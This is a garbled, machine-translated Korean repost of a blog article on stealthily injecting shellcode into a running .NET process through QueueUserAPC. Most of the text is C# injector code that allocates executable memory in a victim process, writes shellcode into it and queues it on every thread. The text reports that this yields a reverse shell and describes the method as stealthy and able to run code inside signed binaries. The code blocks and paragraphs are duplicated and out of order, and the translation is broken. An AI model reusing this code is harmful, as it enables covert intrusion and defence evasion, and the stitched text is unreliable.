Thread.Sleep(3000);
IntPtr allocatedSpacePtr = VirtualAllocEx(processInformation.hProcess, IntPtr.Zero, shellcode.Length, 0x00001000, 0x40);
IntPtr bytesWritten = IntPtr.Zero;
WriteProcessMemory(processInformation.hProcess, allocatedSpacePtr, shellcode, shellcode.Length, out bytesWritten);
Process process = Process.GetProcessById(processInformation.dwProcessId);
foreach (ProcessThread thread in process.Threads)
{
IntPtr threadHandle = OpenThread(0x0010, false, thread.Id);
VirtualProtectEx(processInformation.hProcess, allocatedSpacePtr, shellcode.Length, 0x20, out _);
QueueUserAPC(allocatedSpacePtr, threadHandle, 0);
}
}
예상한 바와 같이, 내가 프로그램을 닫는 순간, 우리는 역방향 셸을 얻었다.
위의 그림은 양식이 시작되고 나중에 APC 주입이 발생하는 것을 보여 줍니다.예상한 연결이 발생하지 않았습니다.
표에서 물러난 후, 우리는 반대 케이스를 얻었다.
결론
CLR이 항상 메인 라인을 경보할 수 있도록 하는 것을 보았습니다.QueuseraPC 주입 방법을 사용할 수 있습니다.우리는alertable 방법을 직접 호출할 수 있지만, CLR이 우리를 위해 그것을 호출하는 것을 허용하면 더욱 은폐될 수 있습니다.우리는 또 이 점을 누구에게도 이용당할 수 있다는 것을 발견했다.NET 실행 파일
Dwight Hohnstein이 그의 블로그 글에서 정리한 바와 같이, 너는 임무 스케줄링 이벤트를 연결하고 그 중의 스케줄링 프로그램을 주입할 수 있다.이것은 우리의 코드를 '서명' 바이너리 파일에서 실행하거나 지렛대 권한으로 실행할 수 있도록 합니다.
크레디트
static void InjectRunningProcessUsingRaceCondition(byte[] shellcode, string victimProcessPath)
{
STARTUPINFO startupinfo = new STARTUPINFO();
PROCESS_INFORMATION processInformation = new PROCESS_INFORMATION();
CreateProcess(null, victimProcessPath, 0, 0, false, 0, 0, null, ref startupinfo, ref processInformation);
IntPtr allocatedSpacePtr = VirtualAllocEx(processInformation.hProcess, IntPtr.Zero, shellcode.Length, 0x00001000, 0x40);
IntPtr bytesWritten = IntPtr.Zero;
WriteProcessMemory(processInformation.hProcess, allocatedSpacePtr, shellcode, shellcode.Length, out bytesWritten);
Process process = Process.GetProcessById(processInformation.dwProcessId);
foreach (ProcessThread thread in process.Threads)
{
IntPtr threadHandle = OpenThread(0x0010, false, thread.Id);
VirtualProtectEx(processInformation.hProcess, allocatedSpacePtr, shellcode.Length, 0x20, out _);
QueueUserAPC(allocatedSpacePtr, threadHandle, 0);
}
}
첫 번째 예에서 확인한 바와 같이 APC는 프로그램을 종료한 후에 실행됩니다.
나는 간단하게 내
Windows Form
을 먼저 시작해서 그것을 시뮬레이션했다. 내 주입기 코드에서 Thread.Sleep
을 사용하여 작동을 멈추고 주입기를 실행했다.static void InjectRunningProcess(byte[] shellcode, string victimProcessPath)
{
STARTUPINFO startupinfo = new STARTUPINFO();
PROCESS_INFORMATION processInformation = new PROCESS_INFORMATION();
CreateProcess(null, victimProcessPath, 0, 0, false, 0, 0, null, ref startupinfo, ref processInformation);
//Thread sleep is used here to give the victim process time to load and run its main thread.
//We do not want to race against it.
Thread.Sleep(3000);
IntPtr allocatedSpacePtr = VirtualAllocEx(processInformation.hProcess, IntPtr.Zero, shellcode.Length, 0x00001000, 0x40);
IntPtr bytesWritten = IntPtr.Zero;
WriteProcessMemory(processInformation.hProcess, allocatedSpacePtr, shellcode, shellcode.Length, out bytesWritten);
Process process = Process.GetProcessById(processInformation.dwProcessId);
foreach (ProcessThread thread in process.Threads)
{
IntPtr threadHandle = OpenThread(0x0010, false, thread.Id);
VirtualProtectEx(processInformation.hProcess, allocatedSpacePtr, shellcode.Length, 0x20, out _);
QueueUserAPC(allocatedSpacePtr, threadHandle, 0);
}
}
예상한 바와 같이, 내가 프로그램을 닫는 순간, 우리는 역방향 셸을 얻었다.위의 그림은 양식이 시작되고 나중에 APC 주입이 발생하는 것을 보여 줍니다.예상한 연결이 발생하지 않았습니다.
표에서 물러난 후, 우리는 반대 케이스를 얻었다.
결론
CLR이 항상 메인 라인을 경보할 수 있도록 하는 것을 보았습니다.QueuseraPC 주입 방법을 사용할 수 있습니다.우리는alertable 방법을 직접 호출할 수 있지만, CLR이 우리를 위해 그것을 호출하는 것을 허용하면 더욱 은폐될 수 있습니다.우리는 또 이 점을 누구에게도 이용당할 수 있다는 것을 발견했다.NET 실행 파일
Dwight Hohnstein이 그의 블로그 글에서 정리한 바와 같이, 너는 임무 스케줄링 이벤트를 연결하고 그 중의 스케줄링 프로그램을 주입할 수 있다.이것은 우리의 코드를 '서명' 바이너리 파일에서 실행하거나 지렛대 권한으로 실행할 수 있도록 합니다.
크레디트
Ashkan Hosseini
Reference
이 문제에 관하여(운행 중에 비밀리에 코드를 주입하다.정제 과정), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://dev.to/wireless90/stealthy-code-injection-in-a-running-net-process-i5c텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)